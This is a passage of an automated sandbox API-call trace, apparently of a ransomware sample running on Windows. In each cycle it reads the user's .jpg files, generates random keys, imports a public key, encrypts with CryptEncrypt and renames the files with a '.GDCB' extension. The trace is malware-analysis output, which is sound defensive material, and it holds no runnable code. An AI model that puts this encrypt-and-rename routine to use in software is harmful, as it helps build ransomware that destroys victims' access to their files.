pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.154] GetLastError () returned 0x0 [0206.154] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.154] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\9c14e2ad.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\9c14e2ad.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.156] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.157] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.158] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x80a0, lpOverlapped=0x0) returned 1 [0206.167] VirtualAlloc (lpAddress=0x0, dwSize=0x80a0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.172] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\9c14e2ad.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\9c14e2ad.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\9c14e2ad.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\9c14e2ad.jpg.gdcb")) returned 1 [0206.176] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.178] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.179] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.179] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.179] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.179] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.180] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.181] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.181] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.181] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.181] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.183] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1090) returned 1 [0206.183] CryptGetKeyParam (in: hKey=0x50d1090, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.183] CryptEncrypt (in: hKey=0x50d1090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.183] GetLastError () returned 0x0 [0206.183] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.183] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.185] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d12d0) returned 1 [0206.185] CryptGetKeyParam (in: hKey=0x50d12d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.185] CryptEncrypt (in: hKey=0x50d12d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.185] GetLastError () returned 0x0 [0206.185] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.185] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a229ed41.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a229ed41.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.187] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.188] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.189] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x12d0, lpOverlapped=0x0) returned 1 [0206.197] VirtualAlloc (lpAddress=0x0, dwSize=0x12d0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.202] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a229ed41.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a229ed41.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a229ed41.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a229ed41.jpg.gdcb")) returned 1 [0206.206] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0206.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.209] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.209] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.209] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.209] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.211] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.212] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.212] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.212] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0206.214] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d16d0) returned 1 [0206.214] CryptGetKeyParam (in: hKey=0x50d16d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.214] CryptEncrypt (in: hKey=0x50d16d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.215] GetLastError () returned 0x0 [0206.215] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.215] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0206.216] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d10d0) returned 1 [0206.216] CryptGetKeyParam (in: hKey=0x50d10d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.216] CryptEncrypt (in: hKey=0x50d10d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.217] GetLastError () returned 0x0 [0206.217] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.217] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a271c2fa.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a271c2fa.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.220] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.221] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.222] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1510, lpOverlapped=0x0) returned 1 [0206.232] VirtualAlloc (lpAddress=0x0, dwSize=0x1510, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.295] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a271c2fa.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a271c2fa.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a271c2fa.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a271c2fa.jpg.gdcb")) returned 1 [0206.299] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0206.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.302] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.302] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.302] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.302] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0206.303] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.304] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.304] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.304] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0206.304] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0206.306] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1310) returned 1 [0206.306] CryptGetKeyParam (in: hKey=0x50d1310, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.306] CryptEncrypt (in: hKey=0x50d1310, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.307] GetLastError () returned 0x0 [0206.307] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.307] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.308] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1650) returned 1 [0206.309] CryptGetKeyParam (in: hKey=0x50d1650, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.309] CryptEncrypt (in: hKey=0x50d1650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.309] GetLastError () returned 0x0 [0206.309] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.309] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a2e35824.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a2e35824.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.310] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.312] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.313] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x2820, lpOverlapped=0x0) returned 1 [0206.319] VirtualAlloc (lpAddress=0x0, dwSize=0x2820, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.323] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a2e35824.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a2e35824.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\a2e35824.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\a2e35824.jpg.gdcb")) returned 1 [0206.327] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.328] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.329] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.329] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.329] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.329] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.331] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.331] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.331] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.332] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.332] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.334] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1690) returned 1 [0206.334] CryptGetKeyParam (in: hKey=0x50d1690, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.334] CryptEncrypt (in: hKey=0x50d1690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.334] GetLastError () returned 0x0 [0206.334] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.334] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0206.336] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1390) returned 1 [0206.336] CryptGetKeyParam (in: hKey=0x50d1390, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.337] CryptEncrypt (in: hKey=0x50d1390, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.337] GetLastError () returned 0x0 [0206.337] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0206.337] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cc2f5fc7.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cc2f5fc7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.339] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.340] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.341] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x2250, lpOverlapped=0x0) returned 1 [0206.348] VirtualAlloc (lpAddress=0x0, dwSize=0x2250, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0206.357] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cc2f5fc7.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cc2f5fc7.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cc2f5fc7.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cc2f5fc7.jpg.gdcb")) returned 1 [0206.361] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0206.363] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.364] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.364] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0206.364] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.364] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0206.365] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0206.366] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0206.366] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0206.366] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0206.366] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0206.368] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1410) returned 1 [0206.368] CryptGetKeyParam (in: hKey=0x50d1410, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.368] CryptEncrypt (in: hKey=0x50d1410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0206.369] GetLastError () returned 0x0 [0206.369] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0206.369] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0206.371] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1710) returned 1 [0206.371] CryptGetKeyParam (in: hKey=0x50d1710, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0206.371] CryptEncrypt (in: hKey=0x50d1710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0206.371] GetLastError () returned 0x0 [0206.371] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0206.371] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\cf6a15d.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\cf6a15d.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0206.372] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0206.374] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0206.374] ReadFile (in: hFile=0x514, 